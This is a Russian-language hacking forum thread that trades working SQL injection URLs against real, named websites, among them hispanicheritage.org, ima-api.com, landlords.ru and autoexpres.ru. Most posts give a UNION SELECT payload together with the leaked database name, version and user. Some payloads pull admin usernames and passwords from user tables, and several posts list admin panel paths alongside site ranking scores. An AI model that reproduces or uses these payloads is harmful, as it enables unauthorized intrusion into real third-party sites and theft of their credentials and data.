SQL Инъекции

Code:

http://www.hispanicheritage.org/press_news.php?id=-180+union+select+1,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,3,4--

hispanj6_hhawards:5.1.47-community-log:hispanj6_hhf2@localhost

 

ТИЦ 60

Code:

http://www.avsshop.ru/index.php?idtov=871291+and+1=2+union+select+concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,2--+

5.1.50-log:[email protected]:u278685_2


p.s. "Маленький" облом на Админке

 

4.1.24-max-log

http://www.mckn.ru/admin/
4.1.11-Debian_4sarge5-log
тиц 120 pr 2

http://objavlenij.net/Admin/
5.0.92-community-log

http://www.prodamzoo.ru//Admin/
5.0.77-log

 

Indonesian Mining Association





http://www.ima-api.com/about.php?act=detail&id=-93+union+select+1,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),3,4,5,6,7,8,9+--+

5.0.27-standard:u6183_imaAPI09@localhost:u6183_imaAPI09: pc-linux-gnu.

http://www.ima-api.com/about.php?act=detail&id=-93+union+select+1,concat_ws(0x3a,name, passwd),3,4,5,6,7,8,9+from+tbuser+--+

PR 4

 

Code:

http://www.galoshishoes.ru/katalog.php?id=-20+union+select+1,2,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,4,5,6,7,8--

b55136:5.0.90:[email protected]

 

Вопрос по поводу иньекции:

А когда добавляю ещё одно поле, то выдаёт:

Количество полей получается подобрал? Но как действовать тут дальше?

 

делай вывод через помилку, сайт в студию)

 

Всё допилил, спасибо за ответ

 

Сори ошибся топиком =\

 

http://www.biznes-navigator.ru/Admin/
5.0.91-community

4.1.25-log

 

Code:

http://www.gisupport.ru/info.php?id=-12+union+select+1,2,3,4,5,6,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,8,9,10,11,12--

compnn_test:5.0.90-log:compnn_test@localhost

 

Code:

http://www.landlords.ru/fullnews.php?id=-100+union+select+1,group_concat%28username,char%2858%29,password%29,3,4,5+from+admin%20--

idinahuihakergolimiy
уже кто-то здесь побывал)

 

Авто-Старт официальный дилер

ТИЦ - 325

Code:

http://www.autoexpres.ru/cars1.php?mode=card&p=0&sort=0&updown=0&foto=1&id=-23427+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,39,40,41,42,43,44,45,46,47,48,49,50,51,52--

5.1.46:admin_expres@localhost:admin_expres

52 колонки, пипец

 

4.1.25-log
тиц 20

4.1.25-log
тиц 40

 

http://www.sozdanie.com/index.php?date='2705.04.11
Вот удалось найти уязвимость!

 

Code:

http://www.yotaservis.ru/goods.php?id=43+union+select+1,2,3,4,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29,6,7,8,9,10--

db8508a:5.1.54-log:[email protected]

Code:

http://ctdcom.ru/dizpr.php?id=1+union+select+1,2,3,4,5,concat_ws%280x3a,database%28%29,version%28%29,user%28%29%29--

u0735336_std:5.5.9:u0735336_stdcom@localhost

 

2.

Инъекции вида:

Code:

http://site.ru/index.php?a='

будут удаляться.

http://www.sozdanie.com/index.php?date=2705.04.11'+union+select+1,version(),3,4,5,6,7,8,9,0,11/*

 

mrinstrum_board3@localhost:mrinstrum_board3:5.0.26-log
тиц 10

 

Universidad Blas Pascal : PR - 6
Эксплойт

DB VERSION:4.1.11-Debian_4sarge7-log
DB NAME: UBPSITE
USERNAME: ubpsite@localhost

 

http://www.kylincorp.com/en/pview.php?id=-646+union+select+1,concat_ws(0x3a,USER(),DATABASE(),VERSION()),3,4,5,6,7,8,9,10,11,12,13,14,15+--+